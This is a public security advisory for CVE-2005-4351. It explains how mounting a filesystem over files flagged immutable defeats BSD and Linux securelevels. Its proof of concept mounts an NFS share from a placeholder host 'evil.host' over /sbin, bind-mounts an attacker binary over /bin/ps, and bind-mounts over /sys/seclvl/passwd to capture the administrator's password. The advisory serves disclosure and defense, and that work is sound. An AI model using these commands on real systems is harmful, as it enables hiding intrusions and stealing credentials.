> Advisories > rt-sa-2005-015 vertical divider

BSD Securelevels: Circumventing protection of files flagged immutable

By mounting an arbitrary filesystem, it is possible to mask files
flagged immutable with any user-defined files.


Product: FreeBSD up to 6.0-STABLE and 7.0-CURRENT
         OpenBSD up to 3.8
         DragonFly up to 1.2
         Linux vanilla kernel up to
Vulnerability Type: Filesystem privilege circumvention
Security-Risk: medium
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2005-015
Advisory-Status: public
CVE: CVE-2005-4351
CVE-URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4351


BSD-Securelevels try to harden the system by restricting certain
functions. The FreeBSD manpage[1] states: "The kernel runs with five 
different levels of security. Any super-user process can raise the 
security level, but no process can lower it."

While running a securelevel of one or greater, files having the
immutable flag cannot be changed anymore. Although files are protected
from being changed permanently, masking them at runtime is still

More Details

While the behaviour described above seems to provide effective
protection against changing immutable files physically, the protection
can be circumvented at runtime. By mounting another filesystem,
immutable files can be masked. Masking means placing an arbitrary file
at the location of an immutable file, without changing the immutable
file itself.
Every access to the masked file through its path in the filesystem will
result in access to the masking file. This can be achieved by mounting an
NFS or any other available filesystem on the directory where the
immutable file resides. At runtime an attacker could replace arbitrary
files. Although it is not possible to change the contents of immutable
files permanently, the impact is similar.
With Linux an attacker can even intercept the password input to lower
the security level masking /sys/seclvl/passwd.

After searching mailinglist archives, we discovered that this problem
was already discussed[2,3,4] before, but with no real result. The
current behaviour is not good under security considerations. Especially
bad is that it still seems to be a common mispractise for administrators
to rely on securelevels to make it impossible for an attacker to change
the running system. Using the described technique it would be possible
to create a rootkit utilizing mount.

Proof of Concept

The following example uses an NFS share but any other usable filesystem
also works.

root@# ls -lo /sbin
total 4884
-r-xr-xr-x  1 root  wheel     schg   7480 Nov 23 14:04 adjkerntz
-r-xr-xr-x  1 root  wheel     schg  13968 Nov 23 14:04 atacontrol
-r-xr-xr-x  1 root  wheel     schg  39828 Nov 23 14:04 atm
-r-xr-xr-x  1 root  wheel     schg  51772 Nov 23 14:04 atmconfig
-r-xr-xr-x  1 root  wheel     schg   7292 Nov 23 14:04 badsect
-r-xr-xr-x  2 root  wheel     schg  29336 Nov 23 14:04 bsdlabel
-r-xr-xr-x  1 root  wheel     schg  55972 Nov 23 14:04 camcontrol
-r-xr-xr-x  1 root  wheel     schg  10124 Nov 23 14:04 ccdconfig
-r-xr-xr-x  1 root  wheel     schg   5424 Nov 23 14:04 clri

root@# mount -t nfs evil.host:/exported /sbin
root@# ls -lo /sbin
total 4884
-r-xr-xr-x  1 root  wheel     -      8451 Nov 22 15:07 adjkerntz
-r-xr-xr-x  1 root  wheel     -     13485 Nov 22 15:07 atacontrol
-r-xr-xr-x  1 root  wheel     -     30957 Nov 22 15:07 atm
-r-xr-xr-x  1 root  wheel     -     51498 Nov 22 15:07 atmconfig
-r-xr-xr-x  1 root  wheel     -      7435 Nov 22 15:07 badsect
-r-xr-xr-x  2 root  wheel     -     24385 Nov 22 15:07 bsdlabel
-r-xr-xr-x  1 root  wheel     -     58591 Nov 22 15:07 camcontrol
-r-xr-xr-x  1 root  wheel     -     11585 Nov 22 15:07 ccdconfig
-r-xr-xr-x  1 root  wheel     -      6581 Nov 22 15:07 clri

With Linux an attacker does not even have to mount a complete filesystem
but mount just a single file over an immutable file by using the
following command:

root@# mount --bind /tmp/attacker_ps /bin/ps

To intercept the password of seclvl with Linux, an attacker can use the

root@# mount --bind /tmp/getpass /sys/seclvl/passwd

Any attempt to lower the securitylevel by an admin will store the password
in /tmp/getpass.


A possible workaround is to disable mounting of filesystems completely
after booting. This can be achieved through hardening kernel extensions
like OpenBSD's systrace[5], FreeBSD's MAC security extensions[6] or
SELinux[7]. Administrators should furthermore not rely on securelevels
for protecting files in case of an attack.


No fix is available at this time. The implementation of securelevels on
NetBSD was found to be not vulnerable to this attack.
No fix will be released for OpenBSD. To quote Theo de Raadt:

"Sorry, we are going to change nothing. Securelevels are useless."

FreeBSD is still discussing the issue and no further response from the
Linux maintainer has been received yet.

Security Risk

This kind of attack provides a medium security risk. An attacker is able
to hide himself effectively on a compromised system by using the methods
described above.


While protecting data effectively against permanent tampering, the term
"Securelevels" should not contain the word secure. Securelevels do not
protect against system compromise and provide only limited security. To
restrict access to a system a more secure and flexible approach like
OpenBSD's systrace[5], FreeBSD's MAC Framework[6] or SELinux[7] should
be used.


2005-11-05 Problem discovered while testing a product of iPisec Ltd.
2005-11-29 Discussed the issue with iPisec management and technicians
2005-12-02 Contacted the maintainer of BSD-Securelevels on Linux
2005-12-02 Response from the maintainer of BSD-Securelevels on Linux, he
           wants to do what *BSD will be doing
2005-12-04 Contacted the maintainers of different BSD derivates
2005-12-05 Response from the FreeBSD Security Team - problem under 
2005-12-06 Response from the OpenBSD - problem will not be fixed
2005-12-15 Forwarded the *BSD responses to the Linux maintainer 
2006-01-05 No further response from the Linux maintainer
2006-01-09 Public release
2006-12-04 Updating affected Linux vanilla kernel: seclvl was removed
           in 2.6.19
2009-05-08 Updated Advisory URL


[1] http://www.freebsd.org/cgi/man.cgi?query=securelevel
[2] http://www.monkey.org/openbsd/archive/tech/9906/msg00149.html
[3] http://archives.neohapsis.com/archives/openbsd/2005-10/1523.html
[4] http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/22142
[5] http://www.citi.umich.edu/u/provos/systrace/index.html
[6] http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mac.html
[7] http://www.nsa.gov/selinux/index.cfm


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